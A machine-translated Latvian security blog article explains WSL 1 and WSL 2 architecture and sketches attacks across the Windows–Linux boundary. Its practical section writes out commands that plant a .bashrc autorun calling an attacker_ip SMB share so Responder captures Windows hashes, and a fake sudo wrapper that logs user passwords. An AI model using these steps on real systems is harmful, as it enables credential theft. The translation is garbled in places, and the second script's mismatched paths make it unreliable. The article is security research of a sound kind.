WSL eksperimenti. 1. daļa

Sveiks, habr! OTUS oktobrī uzsāk jaunu kursu plūsmu "Linux drošība". Gaidot kursu sākumu, mēs ar jums dalāmies rakstā, ko sarakstījis viens no mūsu skolotājiem Aleksandrs Koļesņikovs.

WSL eksperimenti. 1. daļa

2016. gadā Microsoft iepazīstināja IT kopienu ar jauno WSL tehnoloģiju (Windows Sapakšsistēma Linux), kas nākotnē ļāva apvienot iepriekš nesamierināmus konkurentus, kuri cīnījās par popularitāti gan parasto, gan pieredzējušo OS lietotāju vidū: Windows un Linux. Šī tehnoloģija ļāva izmantot Linux OS rīkus Windows vidē bez nepieciešamības palaist Linux, piemēram, izmantojot Multi-boot. Vietnē Habr varat atrast lielu skaitu rakstu, kuros aprakstītas WSL izmantošanas priekšrocības. Taču diemžēl šī raksta tapšanas laikā šajā resursā netika atrasti pētījumi par šādas operētājsistēmu simbiozes drošību. Šis ieraksts būs mēģinājums to labot. Rakstā tiks runāts par WSL 1 un 2 arhitektūras iezīmēm un apskatīti vairāki piemēri uzbrukumiem sistēmām, kurās tiek izmantotas šīs tehnoloģijas. Raksts ir sadalīts 2 daļās. Pirmais nodrošinās galvenās teorētiskās uzbrukuma metodes no Linux un Windows. Otrais raksts ietvers testa vides iestatīšanu un uzbrukumu reproducēšanu.

WSL 1: arhitektūras iezīmes

Lai visprecīzāk ienirt WSL drošības jautājumos, ir jānosaka galvenās nianses, kas saistītas ar apakšsistēmas ieviešanu. Viens no galvenajiem lietotāja uzdevumiem, ko atrisina WSL, ir iespēja strādāt, izmantojot Linux terminālu resursdatorā, kurā darbojas operētājsistēma Windows OS. Turklāt piedāvātā saderība bija tik dabiska, ka Linux izpildāmos failus (ELF) varēja palaist tieši Windows sistēmā. Lai sasniegtu šos mērķus, operētājsistēmā Windows 10 tika izveidota īpaša apakšsistēma, kas ļauj palaist Linux lietojumprogrammas, izmantojot noteiktu sistēmas izsaukumu kopu - tādējādi tika mēģināts kartēt Linux syscall komplektu operētājsistēmā Windows. Tas tika fiziski īstenots, pievienojot jaunus draiverus un jaunu procesa formātu. Vizuāli arhitektūra izskatījās šādi:

WSL eksperimenti. 1. daļa

Faktiski mijiedarbība ar Linux operētājsistēmu tika organizēta, izmantojot vairākus kodola moduļus un īpašu procesa veidu - pico. Iepriekš redzamajā diagrammā var redzēt, ka procesam, kas darbojas Linux instancē resursdatorā, ir jābūt vietējam un jāizmanto tie paši resursi, kas parastajām Windows lietojumprogrammām. Bet kā to panākt? Projektā Pacelšanas tilts Tika izstrādātas procesu koncepcijas operētājsistēmai Windows, kas nodrošināja visus nepieciešamos operētājsistēmas komponentus (atkarībā no tās versijas), lai palaistu citas OS lietojumprogrammu.

Ņemiet vērā, ka piedāvātā abstrakcija ļāva nekoncentrēties uz operētājsistēmu (jo īpaši Windows), kurā ir paredzēts palaist citas operētājsistēmas procesu, un ieteica vispārīgu pieeju.

Tādējādi jebkura piko procesa lietojumprogramma var darboties neatkarīgi no Windows kodola:

  1. Sistēmas zvanu saderības un tulkošanas problēmas jārisina speciāliem pakalpojumu sniedzējiem;
  2. Piekļuves kontrole jāveic, izmantojot drošības monitoru. Monitors atrodas kodolā, un tāpēc sistēmai Windows bija nepieciešams jauninājums jauna draivera veidā, kas varētu darboties kā šādu procesu nodrošinātājs. Prototipa piko process shematiski parādīts zemāk:

WSL eksperimenti. 1. daļa

Tā kā Linux failu sistēma izmanto reģistrjutīgus failu un direktoriju nosaukumus, sistēmai Windows tika pievienotas 2 veidu failu sistēmas, kas darbotos ar WSL — VolFS un DriveFS. VolFS ir Linux failu sistēmas ieviešana, DriveFS ir failu sistēma, kas darbojas saskaņā ar Windows noteikumiem, bet tai ir iespēja izvēlēties reģistrjutību.

WSL 2

WSL 1 bija vairāki ierobežojumi, kas neļāva to izmantot, lai atrisinātu maksimālo uzdevumu klāstu: piemēram, tajā nebija iespējas palaist 32 bitu Linux lietojumprogrammas, un nebija iespējams izmantot ierīču draiverus. Tāpēc 2020. gadā tika izlaists WSL 2, kas mainīja pieeju apakšsistēmas veidošanai. WSL 2 ir optimizēta virtuālā mašīna, kas atbilst WSL 1 resursu patēriņa parametriem. Tagad atkarībā no Windows OS lietotāja atrisinātajām problēmām varat izvēlēties vajadzīgo Linux apakšsistēmas versiju. Lai mazinātu iespējamās ievainojamības, WSL 2 tika ieviests, pamatojoties uz Hyper-V operētājsistēmā Windows 10. Šādā formā Windows ir iespēja palaist Linux operētājsistēmas kodolu izolēti. Ir vērts atcerēties, ka WSL 1. versija tika ieviesta kā beta funkcija, kurai vajadzēja parādīt Windows attīstības virzienu šajā jomā, tāpēc pāreja uz Hyper-V bija neizbēgama. Galīgā arhitektūra izskatās šādi:

WSL eksperimenti. 1. daļa

Šajā versijā Windows un Linux kodoliem ir savi resursi un krustpunkts pastāv tikai failu sistēmā, taču šis krustojums nav pilnīgs. Mijiedarbība starp failu sistēmām tiek veikta, izmantojot klienta-servera iesaiņojumu, kas darbojas, izmantojot 9P protokolu.

Šodien Microsoft nodrošina iespēju pārslēgties starp WSL 1 un WSL 2. Abas versijas ir pieejamas lietošanai.

WSL drošība

Pašlaik ir vairāki darbi, kas apraksta dažas pieejas likumīgu OS rīku izmantošanai, lai uzbruktu komunikācijai starp apakšsistēmām. Mēs izmantosim viņu skriptus, lai pārbaudītu uzbrukumu atbilstību rakstīšanas laikā. Vispārējs uzbrukumu un scenāriju saraksts:

1. Failu sistēmas ieviešana: piekļuves tiesības, koplietoto direktoriju/datu apmaiņas mehānismu pieejamība.

Tika veikts pētījums, lai noteiktu piekļuves noteikumu pārkāpumus no plkst Linux FS->Windows FS, Windows FS->Linux FS. Pētījumi ir parādījuši spēju modificēt noteiktu failu mērķa OS. Tika arī mēģināts aizstāt, izveidot dublikātus un dzēst daļu failu sistēmu.

Scenārijs:

  • A. Uzbrukums no Windows operētājsistēmas — failu modifikācija no Linux OS direktorijas /etc.
  • B. Uzbrukums no operētājsistēmas Linux — failu modifikācija direktorijos: C:Windows, C:Program Files, C:Users<User>

2. Tīkla steka ieviešana.

Pētījums tika veikts, izmantojot operētājsistēmas Linux operētājsistēmas Windows uzbrukumu piemērus. Tika izmantotas tīkla steka iespējas, proti, dažādu resursu autentifikācijas mehānismi.

Scenārijs:

  • Piekļuves atvēršana portam, kas ir aizņemts Windows sistēmā
  • Porta atvēršana bez atbilstošām tiesībām
  • Reversā apvalka palaišana, izmantojot elf failu operētājsistēmā Windows.

3. Ļaunprātīgas programmatūras procesu palaišanas slēpšana, izmantojot WSL apakšsistēmu.

Pētījuma pamatā bija vienkāršs fakts - drošības apakšsistēmas nevar pārtvert notikumus citā kodolā, kas WSL 1 gadījumā darbojas, izmantojot likumīgu nodrošinātāju no operētājsistēmas. WSL 2 gadījumā nav iespējams apskatīt notikumus, kas notiek. atsevišķā kodolā vieglajā virtuālajā mašīnā.

Scenārijs:

1) Palaidiet lietojumprogrammu attālai piekļuvei sistēmai un skatiet reģistrētos notikumus.

WSL 1 eksperimenti: jaucējfunkcijas pārtveršana (Windows)

Beidzot nonācām pie praktiskās daļas. Pirmkārt, jums ir jāiestata testa vide. Visi eksperimenti tiks veikti uz stenda ar instalētu Windows 10 2004. Ubuntu 18.04 attēls tika izvēlēts par WSL operētājsistēmas attēlu. Attēls tika izvēlēts nejauši, un jebkurš cits darbosies tāpat. Komandas stenda uzstādīšanai:

Vispirms jums ir jāpalaiž powershell.exe kā administrators.

WSL 1 jums ir jāizpilda komandas:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Pēc statīva pārstartēšanas varat izsaukt komandu bash. Ja viss darbojās pareizi, Windows konsolē redzēsit līdzīgu izvadi:

    WSL eksperimenti. 1. daļa

    Mēs izmantosim Kali Linux izplatīšanu kā uzbrucēja mašīnu; visām mašīnām jābūt vienā lokālajā tīklā.

    Pieņemsim, ka mums ir nepiešķirta piekļuve WSL operētājsistēmā Windows. Mēģināsim uzbrukt Linux operētājsistēmai, izsaucot komandu no Linux. Uzbrukuma īstenošanai izmantosim vienkāršu autorun paņēmienu – pievienosim savu skriptu izpildei Linux vidē. Lai to izdarītu, ir jāmaina fails .bashrc.

    Iekārtā ar WSL mēs izpildām:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux mašīnā mēs palaižam:

    1. Responder -I eth0 -rdvw

    Windows datorā palaidīsim bash.

    Mēs gaidām rezultātu Kali Linux mašīnā:

    WSL eksperimenti. 1. daļa

    Tādējādi mēs ieguvām Windows lietotāja jaucējfunkcijas, izmantojot WSL apakšsistēmu, izpildot komandu Linux sistēmā.

    WSL 1 eksperimenti: lietotāja paroles iegūšana (Linux OS)

    Veiksim vēl vienu eksperimentu. Šīs pārbaudes laikā mēs pievienosim failu .bashrc vairākas komandas, lai iegūtu Linux operētājsistēmas lietotāja paroli.

    Palaidīsim bash un ievadīsim komandas:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Lai veiksmīgi pabeigtu uzbrukumu, lietotājam Semam Linux terminālī ir jāizsauc sudo. Pēc tam failā būs Linux OS lietotāja parole pass.txt:

    WSL eksperimenti. 1. daļa

    Uzbrukumu īstenošana tika sniegta tikai teorētiskai informācijai.

    Nākamajā raksta daļā tiks aprakstīta 9P protokola ieviešana, apsvērta šī protokola skenera izveide un arī uzbrukums, izmantojot to.

    Atsauču saraksts

    WSL eksperimenti. 1. daļa

    Lasīt vairāk

    Avots: www.habr.com

    Pievieno komentāru